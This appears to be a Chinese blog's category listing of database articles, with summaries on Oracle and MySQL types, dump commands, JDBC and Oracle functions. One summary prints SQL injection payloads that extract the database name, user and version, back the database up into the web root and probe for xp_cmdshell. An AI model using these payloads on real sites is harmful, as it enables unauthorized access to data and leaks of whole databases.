→阿童沐

財富==支撐一個人生存多長時間的能力!

导航

文章分类 -  数据库

数据库中插入日期-
摘要:[数据库]oracle 日期类型字段的操作 在java对oracle的操作中,日期字段是很头疼的事情,其实仔细研究一下也并不难掌握。举个例子来说明:表 book 中有name varchar2(20)//书籍名称,buydate Date //购买日期 两个字段。已经创建了数据库连接Connection conn;方法一、使用java.sql.Date实现比较简单的yyyy-mm-dd格式日期。java.sql.Date不支持时间格式。切记不要使用new java.sql.Date(int year,int month,int date),因为还要处理时间差问题。PreparedStatem. 阅读全文

posted @ 2012-06-26 18:34 阿童沐 编辑

<MySQL>字段类型-
摘要:字段类型 1.INT[(M)] 型: 正常大小整数类型 2.DOUBLE[(M,D)] [ZEROFILL] 型: 正常大小(双精密)浮点数字类型 3.DATE 日期类型:支持的范围是1000-01-01到9999-12-31。MySQL以YYYY-MM-DD格式来显示DATE值,但是允许你使用字符串或数字把值赋给DATE列 4.CHAR(M) 型:定长字符串类型,当存储时,总是是用空格填满右边到指定的长度 5.BLOB TEXT类型,最大长度为65535(2^16-1)个字符。 6.VARCHAR型:变长字符串类型 阅读全文

posted @ 2012-06-02 12:38 阿童沐 编辑

<MySQL> sql语句及常用命令2-
摘要:MYSQL常用命令 有很多朋友虽然安装好了mysql但却不知如何使用它。在这篇文章中我们就从连接MYSQL、修改密码、增加用户等方面来学习一些MYSQL的常用命令。一、连接MYSQL 格式: mysql -h主机地址 -u用户名 -p用户密码 1、例1:连接到本机上的MYSQL 首先在打开DOS窗口,然后进入目录 mysqlbin,再键入命令mysql -uroot -p,回车后提示你输密码,如果刚安装好MYSQL,超级用户root是没有密码的,故直接回车即可进入到MYSQL中了,MYSQL的提示符是:mysql> 2、例2:连接到远程主机上的MYSQL 假设远程主机... 阅读全文

posted @ 2012-06-02 12:17 阿童沐 编辑

<MySQL> 常用命令-
摘要:1.导出整个数据库 mysqldump -u 用户名 -p --default-character-set=latin1 数据库名 > 导出的文件名(数据库默认编码是latin1) 例:mysqldump -u wcnc -p smgp_apps_wcnc > wcnc.sql2.导出一个表 mysqldump -u 用户名 -p 数据库名 表名 > 导出的文件名 例:mysqldump -u wcnc -p smgp_apps_wcnc users> wcnc_users.sql3.导出一个数据库结构 mysqldump -u wcnc -p -d –add-drop 阅读全文

posted @ 2012-06-02 12:15 阿童沐 编辑

很全的SQL注入语句-
摘要:1、返回的是连接的数据库名and db_name()>02、作用是获取连接用户名and user>03、将数据库备份到Web目录下面;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--4、显示SQL系统版本and 1=(select @@VERSION) 或and 1=convert(int,@@version)--5、判断xp_cmdshell扩展存储过程是否存在and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X 阅读全文

posted @ 2012-03-31 23:47 阿童沐 编辑

java向oracle存取clob和blob-
摘要:String DRIVER = "oracle.jdbc.driver.OracleDriver"; /** * ORACLE连接用URL */ private static final String URL = "jdbc:oracle:thin:@test2000:1521:orac"; /** * 用户名 */ private static final String USER = "user"; /** * 密码 */ private static final String PASSWORD = "psw... 阅读全文

posted @ 2012-03-30 20:47 阿童沐 编辑

Oracle修改字段类型的方法-
摘要:因为业务需要,修要修改某个字段数据类型有number(5),变为number(5,2)型 要是没有数据的话直接用以下语句即可 alter table tb_test modify permile number(5,2); 但是有数据的话 就不能用上面方法了, alter table tb_test add permile_temp number(5,2) update tb_test set permile_temp=permile; alter table drop column permile; alter table test rename column per... 阅读全文

posted @ 2012-03-30 13:32 阿童沐 编辑

Oracle数据库设置字符集以及设置TNS=
摘要:1、设置TNS:今天装了Oracle 11g,发现自己有点太潮了,之前一直在用Oracle 10g,发现11g用起来有些不太习惯,比如设置TNS,之前我都会找到相应的tnsname.ora文件进行修改,装上Oracle 11g之后找不到相应的文件,而且安装目录中不允许创建文件只能创建目录,暂时不知道问题出在哪里,经人指导发现Oracle的自带工具可以进行网络配置,实质仍然是将网络配置信息写入到tnsname.ora中,具体如下:1、2、3、4、5、6、7、测试完成后,至此一个TNS连接即设置完成,然后可以通过PL/SQL Developer进行连接。2、设置Oracle本地字符集服务器端Ora 阅读全文

posted @ 2012-03-28 20:17 阿童沐 编辑

tnsping命令解析-
摘要:tnsping命令格式:tnsping <service_name> nn的意义是可以让tnsping ping多次例:c:\Documents and Settings\Tony>tnsping orclOracle Net 工具(命令)tnsping,是一个OSI会话层的工具,它用来:1)验证名字解析(name resolution,当然是oracle自己的网络服务名)2)远程的listener是否启动这里做一个测试的例子:1)首先关闭远程监听服务:c:\Documents and Settings\Tony>lsnrctl stop2)tnsping oracle 阅读全文

posted @ 2012-01-18 14:17 阿童沐 阅读(12793) 评论(0) 推荐(0) 编辑

查询Oracle所有用户相关信息-
摘要:1. 查询oracle中所有用户信息select * from dba_users;2. 只查询用户和密码select username,password from dba_users;3. 查询当前用户信息select * from dba_ustats;4. 查询用户可以访问的视图文本select * from dba_varrays;5. 查询数据库中所有视图的文本select * from dba_views;转自:http://apps.hi.baidu.com/share/detail/21404698 阅读全文

posted @ 2012-01-16 17:32 阿童沐 阅读(158) 评论(0) 推荐(0) 编辑

Oracle数据库导入导出命令-
摘要:Oracle数据导入导出imp/exp 功能:Oracle数据导入导出imp/exp就相当与oracle数据还原与备份。原文链接大多情况都可以用Oracle数据导入导出完成数据的备份和还原(不会造成数据的丢失)。Oracle有个好处,虽然你的电脑不是服务器,但是你装了oracle客户端,并建立了连接(通过Net Configuration Assistant添加正确的服务命名,其实你可以想成是客户端与服务器端 修了条路,然后数据就可以被拉过来了)这样你可以把数据导出到本地,虽然可能服务器离你很远。你同样可以把dmp文件从本地导入到远处的数据库服务器中。利用这个功能你可以构建俩个相同的数据库,一 阅读全文

posted @ 2011-12-29 11:40 阿童沐 阅读(221) 评论(0) 推荐(0) 编辑

Oracle基本建表语句-
摘要:1 --创建用户2 create user han identified by han default tablespace3 users Temporary TABLESPACE Temp;4 grant connect,resource,dba to han; //授予用户han开发人员的权利 1 --------------------对表的操作-------------------------- 2 --创建表 3 create table classes( 4 id number(9) not null primary key, 5 classname v... 阅读全文

posted @ 2011-12-28 12:57 阿童沐 阅读(912) 评论(0) 推荐(0) 编辑

Oracle中Number数据类型解释-
摘要:在Oracle中Number类型可以用来存储0,正负定点或者浮点数,可表示的数据范围在 1.0 * 10(-130) —— 9.9...9 * 10(125) {38个9后边带88个0}的数字,当Oracle中的数学表达式的值>=1.0*10^126时,Oracle就会报错。Number的数据声明如下:表示作用说明Number(p, s)声明一个定点数p(precision)为精度,s(scale)表示小数点右边的数字个数,精度最大值为38,scale的取值范围为-84到127Number(p)声明一个整数相当于Number(p, 0)Number声明一个浮点数其精度为38,要注意的是s 阅读全文

posted @ 2011-12-28 12:44 阿童沐 阅读(657) 评论(0) 推荐(0) 编辑

Oracle函数大全-
摘要:出自:http://www.cnblogs.com/Slxj/archive/2011/12/23/2298863.htmlSQL中的单记录函数1.ASCII返回与指定的字符对应的十进制数;SQL> select ascii(’A’) A,ascii(’a’) a,ascii(’0’) zero,ascii(’ ’) space from dual;A A ZERO SPACE--------- --------- --------- ---------65 97 48 322.CHR给出整数,返回对应的字符;SQL> select chr(54740) zhao,chr(65) 阅读全文

posted @ 2011-12-23 09:54 阿童沐 阅读(183) 评论(0) 推荐(0) 编辑

多表关联批量更新update-
摘要:1 update customers a -- 使用别名 2 3 set customer_type='01' --01 为vip,00为普通 4 5 where exists ( 6 7 select 1 8 9 from tmp_cust_city b10 11 where b.customer_id=a.customer_id12 13 )两表(多表)关联update... 阅读全文

posted @ 2011-12-18 20:48 阿童沐 阅读(352) 评论(0) 推荐(0) 编辑

JDBC各种数据库连接设置-
摘要:1. 各种数据库的JDBC连接大全 2. Microsoft SQL Server series (6.5, 7.x and 2000) and Sybase 10 3. 4. JDBC Name: jTDS 5. URL: http://jtds.sourceforge.net/ 6. Version: 0.5.1 7. Download URL: http://sourceforge.net/project/showfiles.php?group_id=33291 8. 9. 语法: 10. Class.forName("net.sourceforge.jtds.jdbc.Dri 阅读全文

posted @ 2011-12-08 10:05 阿童沐 阅读(707) 评论(0) 推荐(0) 编辑